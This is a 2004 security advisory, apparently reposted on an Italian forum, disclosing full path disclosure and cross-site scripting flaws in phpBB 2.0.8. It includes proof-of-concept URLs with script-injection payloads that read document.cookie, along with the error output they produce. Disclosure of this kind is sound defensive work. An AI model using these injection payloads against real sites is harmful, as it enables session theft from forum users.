|
|||
|
{================================================= ===============================}
{ [waraxe-2004-SA#034] } {================================================= ===============================} { } { [ XSS and full path disclosure in PhpBB 2.0.8 ] } { } {================================================= ===============================} Author: Janek Vind "waraxe" Date: 16. July 2004 Location: Estonia, Tartu Web: http://www.waraxe.us/index.php?modname=sa&id=34 Affected software description: ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ PhpBB is widely used and very popular forum software, written in php. Homepage: http://www.phpbb.com/ Vulnerabilities: ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ There are some uninitialized arrays in phpBB code, which can lead to XSS and full path disclosure. "register_globals" must be enabled on server for those bugs to be exploitable. A - Full Path Disclosure ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ A1 - full path disclosure in "index.php": http://localhost/phpbb208/index.php?...ry_rows=waraxe Fatal error: [] operator not supported for strings in D:\apache_wwwroot\phpbb208\index.php on line 120 A2 - full path disclosure in "language\lang_english\lang_faq.php": http://localhost/phpbb208/faq.php?faq=waraxe Fatal error: [] operator not supported for strings in D:\apache_wwwroot\phpbb208\language\lang_english\l ang_faq.php on line 41 A3 - full path disclosure in "language\lang_english\lang_bbcode.php ": http://localhost/phpbb208/faq.php?mo...ode&faq=waraxe Fatal error: [] operator not supported for strings in D:\apache_wwwroot\phpbb208\language\lang_english\l ang_bbcode.php on line 46 A4 - full path disclosure in "includes\usercp_viewprofile.php": http://localhost/phpbb208/profile.ph...anksrow=waraxe Fatal error: [] operator not supported for strings in D:\apache_wwwroot\phpbb208\includes\usercp_viewpro file.php on line 46 B - Cross-site scripting aka XSS ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ B1 - XSS in "index.php": http://localhost/phpbb208/index.php?category_rows[0][cat_id]=1 &category_rows[0][cat_title]=waraxe<script>alert(document.cookie);</script> &category_rows[0][cat_order]=99 B2 - XSS in "language\lang_english\lang_faq.php": http://localhost/phpbb208/faq.php? faq[0][0]=f00<script>alert(document.cookie);</script>bar&faq[0][1]=waraxe B3 - XSS in "language\lang_english\lang_bbcode.php ": http://localhost/phpbb208/faq.php?mode=bbcode& faq[0][0]=f00<script>alert(document.cookie);</script>bar&faq[0][1]=waraxe How to fix: ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Affected versions are 2.0.8 and probaly older 2.x versions too. Vendor has released new version - 2.0.9 - which is patched against discussed bugs and contain many other improvements. phpBB 2.0.9 packages can be downloaded at: http://www.phpbb.com/downloads.php Additional information and discussion at waraxe forum: http://www.waraxe.us/forums.html Greetings: ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Greets to Raido Kerna and to http://www.gamecheaters.us staff! Special greets to icenix and slimjim100! Tervitused - Heintz ja Maku! |
![]() |
| Strumenti discussione | |
| Modalità visualizzazione | |
|
|
Discussioni simili
|
||||
| Discussione | Autore discussione | Forum | Risposte | Ultimo messaggio |
| path di imagemagick | dizplay | PHP | 7 | 28-02-2006 16.16.20 |
| Path completo file di log | Davide2 | Pannello di controllo Cpanel - Linux | 4 | 15-12-2005 23.59.45 |
| SimplePHPBlog 0.4.0 <= Remote Password Disclosure | serverplan | Vulnerabilità | 0 | 08-07-2005 09.32.00 |
| path | guardiano | Pannello di controllo Cpanel - Linux | 3 | 23-05-2005 11.47.02 |
| include e path in php | mjfan80 | PHP | 0 | 20-03-2004 12.10.05 |